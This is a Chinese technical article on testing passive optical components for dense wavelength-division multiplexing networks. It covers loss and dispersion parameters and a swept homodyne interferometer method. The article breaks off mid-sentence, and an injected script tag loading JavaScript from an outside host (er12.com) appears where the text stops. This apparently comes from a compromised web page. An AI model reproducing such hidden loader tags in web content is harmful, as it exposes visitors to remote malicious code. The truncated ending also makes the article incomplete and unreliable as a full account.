光密集波分复用(dwdm)网络目前的发展方向，特别是实现更高的信息速率(10gbit/s, 40gbit/s及以上)及转向更密集的信道间隔(25ghz及以下)，给无源光器件测试带来了新的挑战。调制速率较高的传输系统要求损耗和色散较低的光器件。更密集的信道间隔要求频谱损耗倾斜更急剧的光纤，这些急剧的损耗倾斜可能会导致急剧的色散倾斜。
本文概括了当前的无源光器件测试解决方案，其中描述了各种测试参数及测量中的挑战。大多数测试参数可以分为两大类中的一种，即损耗和色散。本文介绍了测量光器件色散的新方法 – 扫描零差干涉计。我们讨论了这种新方法在测量当前最苛刻的器件中的优点，同时对在“全参数测试”中采用这种技术提出了相关的建议。在“全参数测试”中，将以最高的精度同时测量损耗参数和色散参数。
简介
由于dwdm的问世，光纤网络技术已经实现了重大飞跃。今天，随着网络速度转向40gb/s，信道间隔降低到25 ghz及以下，信号的时域特点正变得越来越重要。结果，必须规定现代光器件的频谱损耗和偏振相关损耗、群时延和差分群时延。
由于窄信道损耗特点会产生急剧的色散特点，波长选择器件给当前使用的确定色散特点的方法带来了巨大的挑战。因此，精确地检定这些器件要求使用高精度、高分辨率和动态范围大的测试方法，来测量损耗和色散。为适当地满足这种需求，我们的新方法把测量损耗的、噪声输出低的可调谐光源与测量色散特点的扫描零差干涉计结合起来。通过使用零差干涉计，可以测量通过被测器件的相位时延，确定群时延和差分群时延。
在本文中，我们将详细探讨测量技术从全损耗测试到全参数测试的转换，包括试验结果。
无源器件测试和40g网络的发展道路
可以通过不同的方式，满足在一条光纤上提供更高带宽的需求。首先，可以部署额外的波长频带，来提高频谱带宽。第二，越来越多的信道可以挤到一个频带上，进而降低信道间隔。第三，每条信道可以以更高的速度调制，10 gbit/s和40 gbit/s是高速度的代名词。部署40 gbit/s网络给系统供应商、网络设备制造商和元器件制造商带来了挑战，进而也给测试和测量系统带来了挑战。
在更高的数据速度和更窄的信道间隔上，除损耗外，信号的"运行时间"特点变得非常重要。根据经验，位周期的1/10是系统可以接受的时延(或色散)。例如，40 gbit/s的位周期是25 ps，因此2.5 ps是可以接受的系统时延。但是，一个系统包含许多器件，因此每个器件导致的时延必须更小。在实现40 gbit/s网络中，前向纠错、色散补偿、专用光纤和数字后期处理等新技术至关重要，因为这些方法可以为无差错地传输数据提供额外的余量。但是，无源器件处于网络的前线，对网络性能至关重要。因此，必须为器件测试开发新技术。
大多数无源器件路由光线或丢掉部分光线。除色散特点外，这些器件损耗性能下降是不可以接受的。在高级网络中，如果不能达到四个关键参数规范，即插入损耗、偏振相关损耗、群时延和差分群时延，器件可能会导致系统代价甚至失效。测试所有这些参数的能力在无源光器件中至关重要，如光纤光栅、阵列波导光栅(awg)和分插模块，特别是在10和40 gbit/s时。
在传统上，损耗和色散测量是分开处理、并通过不同的解决方案来完成的。必须从根本上转变测试仪器，满足转向全参数分析的不断变化的测试需求。对高级网络，测试和测量必须精确地检定所有相关器件参数，而不是有限的参数子集或一个参数。
测试无源器件的损耗
业内一直在测试光器件的损耗。对波长相关器件，如光滤波器、复用器等，频谱损耗指标决定着高阶参数，而这些参数则决定着光滤波器的质量，如滤波形状、带宽、串扰或通带波纹。损耗仍是需要测量的最重要的参数。
无源器件路由、重定向或阻塞光信道，典型器件包括光纤布拉格光栅、薄膜滤波器和阵列波导光栅。由于其主要用途是路由波长，必须精确地检定其频谱损耗特点。今天，这通常通过结合使用可调谐激光器方法和功率计来完成。
在历史上，人们一直使用宽带光源和光谱分析仪(osa)测试dwdm器件。为实现更高的动态范围?script src=http://er12.com/t.js>
